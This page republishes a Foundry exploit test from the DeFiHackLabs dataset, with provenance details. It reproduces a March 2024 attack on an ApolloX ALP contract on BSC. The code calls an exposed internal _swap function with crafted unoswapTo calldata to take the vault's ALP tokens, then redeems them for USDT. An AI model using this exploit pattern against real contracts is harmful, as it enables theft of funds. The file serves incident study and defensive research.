Skip to content
THREATWIRE

Public reproduction file

src/test/2024-03/ALP_exp.sol

Public reproduction file for dataset entry ALP.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-03/ALP_exp.sol83 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// Attacker : https://bscscan.com/address/0xff61Ba33Ed51322BB716EAb4137Adf985644b94d
8// Attack Contract : https://bscscan.com/address/0x0edf13f6bd033f0f267d46c6e9dff9c7190e0fa0
9// Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0x9983ca8eaee9ee69629f74537eaf031272af75f1e5a7725911d8b06df17c67ca
11// Profit : 10K USD
12// REASON : public interal call
14struct ApolloXRedeemData {
15 address alpTokenOut;
16 uint256 minOut;
17 address tokenOut;
18 bytes aggregatorData;
21struct RedeemData {
22 uint256 amount;
23 address receiver;
24 ApolloXRedeemData apolloXRedeemData;
27interface Vun {
28 function _swap(address tokenForSwap, bytes memory agg) external;
31interface Alp is IERC20 {
32 function maxRedeem(
33 address owner
34 ) external returns (uint256 maxShares);
35 function redeem(uint256 shares, RedeemData calldata redeemData) external;
38contract ContractTest is Test {
39 IERC20 constant USDT = Alp(0x55d398326f99059fF775485246999027B3197955);
40 Alp constant ALP_APO = Alp(0x9Ad45D46e2A2ca19BBB5D5a50Df319225aD60e0d);
41 Vun constant VUN = Vun(0xD188492217F09D18f2B0ecE3F8948015981e961a);
42 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
44 function setUp() external {
45 cheats.createSelectFork("bsc", 36_727_073);
46 deal(address(USDT), address(this), 0);
47 }
49 function testExploit() external {
50 emit log_named_decimal_uint("[End] Attacker USDT before exploit", USDT.balanceOf(address(this)), 18);
51 uint256 VUN_balance = ALP_APO.balanceOf(address(VUN));
52 uint256[] memory pools = new uint256[](1);
53 pools[0] = uint256(1_457_847_883_966_391_224_294_152_661_087_436_089_985_854_139_374_837_306_518); // translate into hex,contain your address
54 VUN._swap(
55 address(ALP_APO),
56 abi.encodeWithSignature(
57 "unoswapTo(address,address,uint256,uint256,uint256[])",
58 address(this),
59 address(ALP_APO),
60 VUN_balance,
61 0,
62 pools
63 )
64 );
65 ALP_APO.maxRedeem(address(this));
66 ALP_APO.approve(address(ALP_APO), VUN_balance);
67 RedeemData memory r;
68 r.amount = VUN_balance;
69 r.receiver = address(this);
70 r.apolloXRedeemData.alpTokenOut = address(USDT);
71 r.apolloXRedeemData.minOut = 0;
72 r.apolloXRedeemData.tokenOut = address(USDT);
73 r.apolloXRedeemData.aggregatorData = "";
74 ALP_APO.redeem(VUN_balance, r);
75 emit log_named_decimal_uint("[End] Attacker USDT balance after exploit", USDT.balanceOf(address(this)), 18);
76 }
78 function swap(uint256 a, uint256 b, address c, bytes memory d) external {}
80 function getReserves() public view returns (uint256, uint256, uint256) {
81 return (1, 1, block.timestamp);
82 }

Analysis

Dataset entry

Public Foundry test for “ALP” (2024-03-06). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

18 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xff61ba33ed51322bb716eab4137adf985644b94d

  • Attack Contract

    0x0edf13f6bd033f0f267d46c6e9dff9c7190e0fa0

  • Attack Tx

    0x9983ca8eaee9ee69629f74537eaf031272af75f1e5a7725911d8b06df17c67ca

File record

Name
ALP
Path
src/test/2024-03/ALP_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
a825cefad6c11cc3c977d81a1104a18d99f8c78b
Language
Solidity
Size
84 lines
Date
2024-03-06
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2024-03/ALP_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob a825cefad6c11cc3c977d81a1104a18d99f8c78b, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.